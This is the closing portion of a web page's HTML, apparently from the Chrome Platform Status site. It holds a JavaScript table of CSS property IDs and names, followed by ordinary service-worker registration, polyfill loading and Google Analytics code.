ht"],[129,"text-decoration"],[403,"text-decoration-color"],[401,"text-decoration-line"],[546,"text-decoration-skip"],[402,"text-decoration-style"],[130,"text-indent"],[441,"text-justify"],[131,"text-line-through"],[132,"text-line-through-color"],[133,"text-line-through-mode"],[134,"text-line-through-style"],[135,"text-line-through-width"],[510,"text-orientation"],[136,"text-overflow"],[137,"text-overline"],[138,"text-overline-color"],[139,"text-overline-mode"],[140,"text-overline-style"],[141,"text-overline-width"],[11,"text-rendering"],[142,"text-shadow"],[536,"text-size-adjust"],[143,"text-transform"],[144,"text-underline"],[145,"text-underline-color"],[146,"text-underline-mode"],[405,"text-underline-position"],[147,"text-underline-style"],[148,"text-underline-width"],[149,"top"],[421,"touch-action"],[442,"touch-action-delay"],[446,"transform"],[559,"transform-box"],[447,"transform-origin"],[448,"transform-style"],[150,"transition"],[151,"transition-delay"],[152,"transition-duration"],[153,"transition-property"],[154,"transition-timing-function"],[504,"translate"],[155,"unicode-bidi"],[156,"unicode-range"],[539,"user-select"],[409,"user-zoom"],[515,"variable"],[393,"vector-effect"],[157,"vertical-align"],[158,"visibility"],[168,"webkit-animation-direction"],[354,"webkit-app-region"],[412,"webkit-app-region"],[175,"webkit-appearance"],[176,"webkit-aspect-ratio"],[400,"webkit-background-blend-mode"],[178,"webkit-background-clip"],[179,"webkit-background-composite"],[180,"webkit-background-origin"],[399,"webkit-blend-mode"],[182,"webkit-border-after"],[183,"webkit-border-after-color"],[184,"webkit-border-after-style"],[185,"webkit-border-after-width"],[186,"webkit-border-before"],[187,"webkit-border-before-color"],[188,"webkit-border-before-style"],[189,"webkit-border-before-width"],[190,"webkit-border-end"],[191,"webkit-border-end-color"],[192,"webkit-border-end-style"],[193,"webkit-border-end-width"],[194,"webkit-border-fit"],[195,"webkit-border-horizontal-spacing"],[196,"webkit-border-image"],[198,"webkit-border-start"],[199,"webkit-border-start-color"],[200,"webkit-border-start-style"],[201,"webkit-border-start-width"],[202,"webkit-border-vertical-spacing"],[203,"webkit-box-align"],[228,"webkit-box-decoration-break"],[414,"webkit-box-decoration-break"],[204,"webkit-box-direction"],[205,"webkit-box-flex"],[206,"webkit-box-flex-group"],[207,"webkit-box-lines"],[208,"webkit-box-ordinal-group"],[209,"webkit-box-orient"],[210,"webkit-box-pack"],[211,"webkit-box-reflect"],[73,"webkit-clip-path"],[213,"webkit-color-correction"],[214,"webkit-column-axis"],[215,"webkit-column-break-after"],[216,"webkit-column-break-before"],[217,"webkit-column-break-inside"],[220,"webkit-column-progression"],[396,"webkit-cursor-visibility"],[410,"webkit-dashboard-region"],[229,"webkit-filter"],[413,"webkit-filter"],[341,"webkit-flow-from"],[340,"webkit-flow-into"],[12,"webkit-font-feature-settings"],[241,"webkit-font-size-delta"],[14,"webkit-font-smoothing"],[251,"webkit-highlight"],[252,"webkit-hyphenate-character"],[253,"webkit-hyphenate-limit-after"],[254,"webkit-hyphenate-limit-before"],[255,"webkit-hyphenate-limit-lines"],[256,"webkit-hyphens"],[258,"webkit-line-align"],[257,"webkit-line-box-contain"],[259,"webkit-line-break"],[260,"webkit-line-clamp"],[261,"webkit-line-grid"],[262,"webkit-line-snap"],[16,"webkit-locale"],[264,"webkit-logical-height"],[263,"webkit-logical-width"],[270,"webkit-margin-after"],[265,"webkit-margin-after-collapse"],[271,"webkit-margin-before"],[266,"webkit-margin-before-collapse"],[267,"webkit-margin-bottom-collapse"],[269,"webkit-margin-collapse"],[272,"webkit-margin-end"],[273,"webkit-margin-start"],[268,"webkit-margin-top-collapse"],[274,"webkit-marquee"],[275,"webkit-marquee-direction"],[276,"webkit-marquee-increment"],[277,"webkit-marquee-repetition"],[278,"webkit-marquee-speed"],[279,"webkit-marquee-style"],[280,"webkit-mask"],[281,"webkit-mask-box-image"],[282,"webkit-mask-box-image-outset"],[283,"webkit-mask-box-image-repeat"],[284,"webkit-mask-box-image-slice"],[285,"webkit-mask-box-image-source"],[286,"webkit-mask-box-image-width"],[287,"webkit-mask-clip"],[288,"webkit-mask-composite"],[289,"webkit-mask-image"],[290,"webkit-mask-origin"],[291,"webkit-mask-position"],[292,"webkit-mask-position-x"],[293,"webkit-mask-position-y"],[294,"webkit-mask-repeat"],[295,"webkit-mask-repeat-x"],[296,"webkit-mask-repeat-y"],[297,"webkit-mask-size"],[299,"webkit-max-logical-height"],[298,"webkit-max-logical-width"],[301,"webkit-min-logical-height"],[300,"webkit-min-logical-width"],[302,"webkit-nbsp-mode"],[411,"webkit-overflow-scrolling"],[304,"webkit-padding-after"],[305,"webkit-padding-before"],[306,"webkit-padding-end"],[307,"webkit-padding-start"],[310,"webkit-perspective-origin-x"],[311,"webkit-perspective-origin-y"],[312,"webkit-print-color-adjust"],[343,"webkit-region-break-after"],[344,"webkit-region-break-before"],[345,"webkit-region-break-inside"],[342,"webkit-region-fragment"],[313,"webkit-rtl-ordering"],[314,"webkit-ruby-position"],[395,"webkit-svg-shadow"],[353,"webkit-tap-highlight-color"],[415,"webkit-tap-highlight-color"],[315,"webkit-text-combine"],[316,"webkit-text-decorations-in-effect"],[317,"webkit-text-emphasis"],[318,"webkit-text-emphasis-color"],[319,"webkit-text-emphasis-position"],[320,"webkit-text-emphasis-style"],[321,"webkit-text-fill-color"],[17,"webkit-text-orientation"],[322,"webkit-text-security"],[323,"webkit-text-stroke"],[324,"webkit-text-stroke-color"],[325,"webkit-text-stroke-width"],[328,"webkit-transform-origin-x"],[329,"webkit-transform-origin-y"],[330,"webkit-transform-origin-z"],[337,"webkit-user-drag"],[338,"webkit-user-modify"],[339,"webkit-user-select"],[352,"webkit-wrap"],[350,"webkit-wrap-flow"],[351,"webkit-wrap-through"],[18,"webkit-writing-mode"],[159,"white-space"],[160,"widows"],[161,"width"],[445,"will-change"],[162,"word-break"],[163,"word-spacing"],[164,"word-wrap"],[394,"writing-mode"],[461,"x"],[462,"y"],[165,"z-index"],[19,"zoom"]]; document.body.classList.remove('loading'); window.addEventListener('popstate', function(e) { if (e.state) { timeline.selectedBucketId = e.state.id; } }); }); </script> <script> /*! (c) 2017 Copyright (c) 2016 The Google Inc. All rights reserved. (Apache2) */ "use strict";!function(e){function r(){return caches.keys().then(function(e){var r=0;return Promise.all(e.map(function(e){if(e.includes("sw-precache"))return caches.open(e).then(function(e){return e.keys().then(function(n){return Promise.all(n.map(function(n){return e.match(n).then(function(e){return e.arrayBuffer()}).then(function(e){r+=e.byteLength})}))})})})).then(function(){return r})["catch"](function(){})})}function n(){"serviceWorker"in navigator&&navigator.serviceWorker.register("/service-worker.js").then(function(e){e.onupdatefound=function(){var n=e.installing;n.onstatechange=function(){switch(n.state){case"installed":t&&!navigator.serviceWorker.controller&&o.then(r().then(function(e){var r=Math.round(e/1e3);console.info("[ServiceWorker] precached",r,"KB");var n=new Metric("sw_precache");n.sendToAnalytics("service worker","precache size",e),t.showMessage("This site is cached ("+r+"KB). Ready to use offline!")}));break;case"redundant":throw Error("The installing service worker became redundant.")}}}})["catch"](function(e){console.error("Error during service worker registration:",e)})}var t=document.querySelector("chromedash-toast"),o=new Promise(function(e,r){return window.asyncImportsLoadPromise?window.asyncImportsLoadPromise.then(e,r):void e()});window.asyncImportsLoadPromise||n(),navigator.serviceWorker&&navigator.serviceWorker.controller&&(navigator.serviceWorker.controller.onstatechange=function(e){if("redundant"===e.target.state){var r=function(){window.location.reload()};t?o.then(function(){t.showMessage("A new version of this app is available.","Refresh",r,-1)}):r()}}),e.registerServiceWorker=n}(window); // https://gist.github.com/ebidel/1d5ede1e35b6f426a2a7 function lazyLoadWCPolyfillsIfNecessary() { function onload() { // For native Imports, manually fire WCR so user code // can use the same code path for native and polyfill'd imports. if (!('HTMLImports' in window)) { document.body.dispatchEvent( new CustomEvent('WebComponentsReady', {bubbles: true})); } } var webComponentsSupported = ('registerElement' in document && 'import' in document.createElement('link') && 'content' in document.createElement('template')); if (!webComponentsSupported) { var script = document.createElement('script'); script.async = true; script.src = '/static/bower_components/webcomponentsjs/webcomponents-lite.min.js'; script.onload = onload; document.head.appendChild(script); } else { onload(); } } var button = document.querySelector('app-header paper-menu-button'); button.addEventListener('click', function lazyHandler(e) { this.removeEventListener('click', lazyHandler); var url = '/static/elements/paper-menu-button.vulcanize.html'; Polymer.Base.importHref(url, function() { button.contentElement.hidden = false; button.open(); }, null, true); }); // Google Analytics (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-39048143-1', 'auto'); ga('send', 'pageview'); // End Google Analytics lazyLoadWCPolyfillsIfNecessary(); </script> </body> </html>